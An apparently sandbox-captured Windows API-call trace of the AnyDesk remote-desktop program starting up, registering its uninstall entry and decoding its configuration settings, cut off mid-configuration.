[0283.115] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) [0283.115] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) [0283.115] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) [0283.115] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) [0283.115] GetLastError () returned 0x0 [0283.115] SetLastError (dwErrCode=0x0) [0283.115] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.116] GetLastError () returned 0x0 [0283.116] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.117] SetLastError (dwErrCode=0x0) [0283.117] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.118] SetLastError (dwErrCode=0x0) [0283.118] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.119] SetLastError (dwErrCode=0x0) [0283.119] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.120] SetLastError (dwErrCode=0x0) [0283.120] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.121] SetLastError (dwErrCode=0x0) [0283.121] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.122] SetLastError (dwErrCode=0x0) [0283.122] GetLastError () returned 0x0 [0283.123] SetLastError (dwErrCode=0x0) [0283.123] GetLastError () returned 0x0 [0283.123] SetLastError (dwErrCode=0x0) [0283.123] GetLastError () returned 0x0 [0283.123] SetLastError (dwErrCode=0x0) [0283.123] GetLastError () returned 0x0 [0283.123] SetLastError (dwErrCode=0x0) [0283.123] GetLastError () returned 0x0 [0283.123] SetLastError (dwErrCode=0x0) [0283.123] GetLastError () returned 0x0 [0283.123] SetLastError (dwErrCode=0x0) [0283.123] GetLastError () returned 0x0 [0283.123] SetLastError (dwErrCode=0x0) [0283.123] GetLastError () returned 0x0 [0283.123] SetLastError (dwErrCode=0x0) [0283.123] GetLastError () returned 0x0 [0283.125] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x193f360 [0283.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x193f360, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0283.125] GetLastError () returned 0x0 [0283.125] GetSystemTime (in: lpSystemTime=0x12d6130 | out: lpSystemTime=0x12d6130*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.126] GetCurrentThreadId () returned 0x520 [0283.126] GetCurrentProcessId () returned 0x51c [0283.126] GetLastError () returned 0x0 [0283.126] GetSystemTime (in: lpSystemTime=0x12d6140 | out: lpSystemTime=0x12d6140*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.126] GetCurrentThreadId () returned 0x520 [0283.126] GetCurrentProcessId () returned 0x51c [0283.126] GetLastError () returned 0x0 [0283.126] GetSystemTime (in: lpSystemTime=0x12d6140 | out: lpSystemTime=0x12d6140*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.126] GetCurrentThreadId () returned 0x520 [0283.126] GetCurrentProcessId () returned 0x51c [0283.126] GetLastError () returned 0x0 [0283.126] GetSystemTime (in: lpSystemTime=0x12d613c | out: lpSystemTime=0x12d613c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.126] GetCurrentThreadId () returned 0x520 [0283.127] GetCurrentProcessId () returned 0x51c [0283.127] GetLastError () returned 0x0 [0283.127] GetSystemTime (in: lpSystemTime=0x12d6140 | out: lpSystemTime=0x12d6140*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.127] GetCurrentThreadId () returned 0x520 [0283.127] GetCurrentProcessId () returned 0x51c [0283.127] GetLastError () returned 0x0 [0283.127] GetSystemTime (in: lpSystemTime=0x12d6144 | out: lpSystemTime=0x12d6144*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.127] GetCurrentThreadId () returned 0x520 [0283.127] GetCurrentProcessId () returned 0x51c [0283.127] GetLastError () returned 0x0 [0283.127] GetSystemTime (in: lpSystemTime=0x131e384 | out: lpSystemTime=0x131e384*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc271ec, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0283.127] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d690 [0283.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc271ec, cbMultiByte=-1, lpWideCharStr=0x193d690, cchWideChar=10 | out: lpWideCharStr="Windows 7") returned 10 [0283.127] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76a70000 [0283.128] GetProcAddress (hModule=0x76a70000, lpProcName="GetNativeSystemInfo") returned 0x76a9106d [0283.128] GetProcAddress (hModule=0x76a70000, lpProcName="IsWow64Process") returned 0x76a8193e [0283.128] GetProcAddress (hModule=0x76a70000, lpProcName="WTSGetActiveConsoleSessionId") returned 0x76b044e9 [0283.128] GetProcAddress (hModule=0x76a70000, lpProcName="ProcessIdToSessionId") returned 0x76a81275 [0283.128] GetProcAddress (hModule=0x76a70000, lpProcName="GetCurrentProcessId") returned 0x76a811f8 [0283.128] GetProcAddress (hModule=0x76a70000, lpProcName="GetProcessId") returned 0x76aacef4 [0283.129] GetProcAddress (hModule=0x76a70000, lpProcName="GetLogicalProcessorInformation") returned 0x76b04d01 [0283.129] GetProcAddress (hModule=0x76a70000, lpProcName="LoadLibraryW") returned 0x76a848e3 [0283.129] GetProcAddress (hModule=0x76a70000, lpProcName="GetProcAddress") returned 0x76a81222 [0283.129] GetProcAddress (hModule=0x76a70000, lpProcName="FreeLibrary") returned 0x76a83478 [0283.129] GetProcAddress (hModule=0x76a70000, lpProcName="InitializeSRWLock") returned 0x76fb8456 [0283.129] GetProcAddress (hModule=0x76a70000, lpProcName="AcquireSRWLockExclusive") returned 0x76fb29f1 [0283.129] GetProcAddress (hModule=0x76a70000, lpProcName="AcquireSRWLockShared") returned 0x76fb2560 [0283.130] GetProcAddress (hModule=0x76a70000, lpProcName="ReleaseSRWLockExclusive") returned 0x76fb29ab [0283.130] GetProcAddress (hModule=0x76a70000, lpProcName="ReleaseSRWLockShared") returned 0x76fb25a9 [0283.130] GetProcAddress (hModule=0x76a70000, lpProcName="TryAcquireSRWLockExclusive") returned 0x76fc4892 [0283.130] GetProcAddress (hModule=0x76a70000, lpProcName="TryAcquireSRWLockShared") returned 0x77028162 [0283.130] GetProcAddress (hModule=0x76a70000, lpProcName="GetTickCount64") returned 0x76a9eeb0 [0283.130] GetProcAddress (hModule=0x76a70000, lpProcName="SetFileInformationByHandle") returned 0x76aacbec [0283.130] GetProcAddress (hModule=0x76a70000, lpProcName="GetModuleFileNameExW") returned 0x0 [0283.130] GetProcAddress (hModule=0x76a70000, lpProcName="K32GetModuleFileNameExW") returned 0x76aab21b [0283.131] GetCurrentProcess () returned 0xffffffff [0283.131] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x12d6150 | out: Wow64Process=0x12d6150*=1) returned 1 [0283.131] FreeLibrary (hLibModule=0x76a70000) returned 1 [0283.131] GetCurrentProcessId () returned 0x51c [0283.131] GetLastError () returned 0x0 [0283.131] GetSystemTime (in: lpSystemTime=0x12d612c | out: lpSystemTime=0x12d612c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.131] GetCurrentThreadId () returned 0x520 [0283.131] GetCurrentProcessId () returned 0x51c [0283.131] GetLastError () returned 0x0 [0283.131] GetSystemTime (in: lpSystemTime=0x12d6114 | out: lpSystemTime=0x12d6114*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2c, wMilliseconds=0x21a)) [0283.131] GetCurrentThreadId () returned 0x520 [0283.131] GetCurrentProcessId () returned 0x51c [0283.131] GetLastError () returned 0x0 [0283.131] GetLastError () returned 0x0 [0283.132] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x12d5ce8 | out: phkResult=0x12d5ce8*=0x178) returned 0x0 [0283.132] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f898 | out: hHeap=0x1930000) returned 1 [0283.132] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f370 [0283.132] RegQueryValueExW (in: hKey=0x178, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x12d5cb0, lpData=0x0, lpcbData=0x12d5cb4*=0x0 | out: lpType=0x12d5cb0*=0x1, lpData=0x0, lpcbData=0x12d5cb4*=0x32) returned 0x0 [0283.132] RegQueryValueExW (in: hKey=0x178, lpValueName="InstallLocation", lpReserved=0x0, lpType=0x0, lpData=0x12d5c60, lpcbData=0x12d5cb4*=0x34 | out: lpType=0x0, lpData=0x12d5c60*=0x22, lpcbData=0x12d5cb4*=0x32) returned 0x0 [0283.132] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x32) returned 0x193f7f8 [0283.132] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.132] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x193f898 [0283.133] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f7f8 | out: hHeap=0x1930000) returned 1 [0283.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.133] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f370 [0283.133] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x193f370, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.133] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x193f7f8 [0283.133] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.133] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x193f8d0 [0283.133] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f898 | out: hHeap=0x1930000) returned 1 [0283.133] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f7f8 | out: hHeap=0x1930000) returned 1 [0283.133] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f370 [0283.133] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f360 [0283.133] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f380 [0283.133] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12d3cac, nSize=0x1000 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0283.134] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.134] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x193f7f8 [0283.134] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x193f898 [0283.134] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.134] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x193d690 [0283.134] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.134] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x193e180 [0283.134] GetLastError () returned 0x0 [0283.134] PathCanonicalizeW (in: pszBuf=0x12d5d10, pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" | out: pszBuf="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0283.134] PathCanonicalizeW (in: pszBuf=0x12d5f18, pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" | out: pszBuf="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0283.134] GetLastError () returned 0x0 [0283.134] RegCloseKey (hKey=0x178) returned 0x0 [0283.134] GetLastError () returned 0x0 [0283.134] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20006, phkResult=0x12d6150 | out: phkResult=0x12d6150*=0x178) returned 0x0 [0283.135] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f898 | out: hHeap=0x1930000) returned 1 [0283.135] RegSetValueExW (in: hKey=0x178, lpValueName="DisplayName", Reserved=0x0, dwType=0x1, lpData="AnyDesk", cbData=0x10 | out: lpData="AnyDesk") returned 0x0 [0283.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.135] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x193f360 [0283.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x193f360, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.135] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x193f370 [0283.135] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x193f380 [0283.135] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f370 | out: hHeap=0x1930000) returned 1 [0283.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd152c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0283.135] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x193f028 [0283.135] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd152c, cbMultiByte=-1, lpWideCharStr=0x193f028, cchWideChar=6 | out: lpWideCharStr="7.0.7") returned 6 [0283.135] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x193d690 [0283.135] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f028 | out: hHeap=0x1930000) returned 1 [0283.135] RegSetValueExW (in: hKey=0x178, lpValueName="DisplayVersion", Reserved=0x0, dwType=0x1, lpData="ad 7.0.7", cbData=0x12 | out: lpData="ad 7.0.7") returned 0x0 [0283.136] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193d690 | out: hHeap=0x1930000) returned 1 [0283.136] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.136] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.136] RegSetValueExW (in: hKey=0x178, lpValueName="VersionMajor", Reserved=0x0, dwType=0x4, lpData=0x12d614c*=0x7, cbData=0x4 | out: lpData=0x12d614c*=0x7) returned 0x0 [0283.136] RegSetValueExW (in: hKey=0x178, lpValueName="VersionMinor", Reserved=0x0, dwType=0x4, lpData=0x12d614c*=0x0, cbData=0x4 | out: lpData=0x12d614c*=0x0) returned 0x0 [0283.136] RegSetValueExW (in: hKey=0x178, lpValueName="VersionBuild", Reserved=0x0, dwType=0x4, lpData=0x12d614c*=0x7, cbData=0x4 | out: lpData=0x12d614c*=0x7) returned 0x0 [0283.136] RegSetValueExW (in: hKey=0x178, lpValueName="VersionTimestamp", Reserved=0x0, dwType=0xb, lpData=0x12d6168*=0x1263e8c2a8e0, cbData=0x8 | out: lpData=0x12d6168*=0x1263e8c2a8e0) returned 0x0 [0283.136] RegCloseKey (hKey=0x178) returned 0x0 [0283.136] GetCurrentProcess () returned 0xffffffff [0283.136] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x12d6194 | out: TokenHandle=0x12d6194*=0x178) returned 1 [0283.136] GetTokenInformation (in: TokenHandle=0x178, TokenInformationClass=0x14, TokenInformation=0x12d6160, TokenInformationLength=0x4, ReturnLength=0x12d6164 | out: TokenInformation=0x12d6160, ReturnLength=0x12d6164) returned 1 [0283.136] CloseHandle (hObject=0x178) returned 1 [0283.136] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x178 [0283.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x64ee60, lpParameter=0x131e2ec, dwCreationFlags=0x4, lpThreadId=0x131e300 | out: lpThreadId=0x131e300*=0x5c8) returned 0x17c [0283.138] ResumeThread (hThread=0x17c) returned 0x1 [0283.138] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0283.139] CloseHandle (hObject=0x178) returned 1 [0283.139] GetCurrentProcess () returned 0xffffffff [0283.141] GetProcessId (Process=0xffffffff) returned 0x51c [0283.141] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x12d618c, lpExitTime=0x12d6184, lpKernelTime=0x12d6184, lpUserTime=0x12d6184 | out: lpCreationTime=0x12d618c, lpExitTime=0x12d6184, lpKernelTime=0x12d6184, lpUserTime=0x12d6184) returned 1 [0283.141] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x43) returned 0x193f7f8 [0283.141] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x193f898 [0283.141] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x193f028 [0283.141] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x193d690 [0283.141] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xab3a80, cbMultiByte=19716, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19716 [0283.141] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x9a0a) returned 0x1960048 [0283.142] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xab3a80, cbMultiByte=19716, lpWideCharStr=0x1960048, cchWideChar=19717 | out: lpWideCharStr="ad.debug.fuzz=false\nad.debug.dump_sent_keys=false\nad.debug.dump_rcvd_keys=false\nad.debug.dump_inject_keys=false\nad.trace.level=0\nad.ui.lang=\nad.ui.lang.auto=true\nad.ui.alias_or_id=false\nad.ui.maximize_type=false\nad.ui.comment_session=true\nad.ui.debug=false\nad.ui.main_win.x=0\nad.ui.main_win.y=0\nad.ui.main_win.width=0\nad.ui.main_win.height=0\nad.ui.main_win.max=false\nad.ui.inst_info_count=3\nad.ui.install.new_update=\nad.ui.show_beta=false\nad.ui.show_powered_by=false\nad.ui.show_philandro_logo=true\nad.ui.show_invite=true\nad.ui.show_connect_group=true\nad.ui.show_tile.install_anydesk=true\nad.ui.show_tile.whats_new=1\nad.ui.show_tile.password=1\nad.woa.devices=\nad.ui.auto_hide_nubsi=true\nad.ui.cfg_enabled=true\nad.ui.cfg_enable_input=true\nad.ui.cfg_enable_interface=true\nad.ui.cfg_enable_security=true\nad.ui.cfg_enable_privacy=true\nad.ui.cfg_enable_video=true\nad.ui.cfg_enable_audio=true\nad.ui.cfg_enable_connection=true\nad.ui.cfg_enable_capture=true\nad.ui.cfg_enable_filetransfer=true\nad.ui.cfg_enable_recording=true\nad.ui.cfg_enable_vpn=true\nad.ui.cfg_enable_wol=true\nad.ui.id_group.title=\nad.ui.id_group.text=\nad.ui.id_group.color=#fb4137\nad.ui.connect_group.title=\nad.ui.connect_group.text=\nad.ui.connect_group.color=#fcc236\nad.ui.install_group.color=#5f88cf\nad.ui.version_group.color=#fb4137\nad.ui.support_group.color=#fcc236\nad.ui.window_title=AnyDesk\nad.ui.disclaimer.title=\nad.ui.disclaimer.text=\nad.ui.disclaimer.text.color=#3c3c3c\nad.ui.disclaimer.bg.color=#ffffff\nad.ui.disclaimer.accept=\nad.ui.disclaimer.cancel=\nad.ui.disclaimer.hash=\nad.ui.abook_on_startup=false\nad.ui.to_top_on_chat=false\nad.ui.address_menu_defaults=\nad.ui.update_link=\nad.ui.busy_indicator.ad=1\nad.ui.busy_indicator.hdd=1\nad.ui.active_indicator.vpn=1\nad.ui.session_invitation_window=1\nad.ui.enable.dialog.plugin.install=1\nad.ui.enable.dialog.plugin.update=1\nad.ui.enable.dialog.plugin.activation=1\nad.ui.enable.dialog.battery_optimization=1\nad.ui.enable.dialog.overlay_permission=1\nad.ui.enable.dialog.local_scam_warning=1\nad.ui.enable.dialog.privacy_policy=1\nad.ui.enable.tutorial_autostart=1\nad.ui.notification_sound.incoming_conn_request=0\nad.ui.notification_sound.sess_create=0\nad.ui.notification_sound.sess_close=0\nad.roster.items=\nad.roster.recent_out=\nad.roster.recent_out.show_all=false\nad.roster.recent_out.view_type=0\nad.roster.recent_in=\nad.roster.favorites=\nad.roster.favorites.show_all=false\nad.roster.favorites.view_type=0\nad.roster.sent_invitation.show_all=true\nad.roster.sent_invitation.view_type=2\nad.roster.recv_invitation.show_all=true\nad.roster.recv_invitation.view_type=2\nad.roster.discovered.show_all=false\nad.roster.discovered.view_type=0\nad.roster.contacts.contact_type=0\nad.roster.contacts.view_type=0\nad.roster.adv_view=true\nad.abook.recent_id=0\nad.abook.view_type=0\nad.abook.sort_key=0\nad.abook.sort_order=0\nad.abook.items_per_page=10\nad.image.quality_preset=0\nad.image.quality_adaptive=true\nad.image.quality_lossless=false\nad.image.show_remote_cursor=false\nad.image.follow_remote_cursor=false\nad.image.auto_keyboard=true\nad.image.mac_retina=false\nad.image.move_size_hlp=false\nad.image.insta_fullscreen=false\nad.image.edge_scroll=false\nad.image.suppress_keys=true\nad.image.enable_hostkey=true\nad.image.viewmode=1\nad.image.capturemode=1\nad.image.rendermode=2\nad.image.rendertech=0\nad.image.rendermode.fail_hint=true\nad.image.force_mdriver=false\nad.image.pixel_fmt=0\nad.image.target_fps=60\nad.image.follow_remote_focus=0\nad.image.use_xdamage=false\nad.image.use_xdamage_hack=false\nad.input.inject_mouse_as_touch=1\nad.input.auto_touch_to_touch_mode=true\nad.input.touch_mode=2\nad.input.kbd_mode=0\nad.security.connect.send_user_list=0\nad.security.interactive_access=1\nad.security.permission_profiles.version=0\nad.security.permission_profiles.invitation=\nad.security.permission_profiles.address_to_profile=\nad.security.permission_profiles.enable_previous_session=1\nad.security.permission_profiles.permissions.audio=0\nad.security.permission_profiles.permissions.input=0\nad.security.permission_profiles.permissions.clipboard=0\nad.security.permission_profiles.permissions.clipboard_files=0\nad.security.permission_profiles.permissions.block_input=0\nad.security.permission_profiles.permissions.sas=0\nad.security.permission_profiles.permissions.restart=0\nad.security.permission_profiles.permissions.file_manager=0\nad.security.permission_profiles.permissions.lock_desk=0\nad.security.permission_profiles.permissions.sysinfo=0\nad.security.permission_profiles.permissions.whiteboard=0\nad.security.permission_profiles.permissions.tcp_tunnel=0\nad.security.permission_profiles.permissions.vpn=0\nad.security.permission_profiles.permissions.user_pointer=0\nad.security.permission_profiles.permissions.privacy_feature=0\nad.security.permission_profiles.permissions.record_session=0\nad.security.permission_profiles.changeable_in_accept_window.audio=1\nad.security.permission_profiles.changeable_in_accept_window.input=1\nad.security.permission_profiles.changeable_in_accept_window.clipboard=1\nad.security.permission_profiles.changeable_in_accept_window.clipboard_files=1\nad.security.permission_profiles.changeable_in_accept_window.block_input=1\nad.security.permission_profiles.changeable_in_accept_window.sa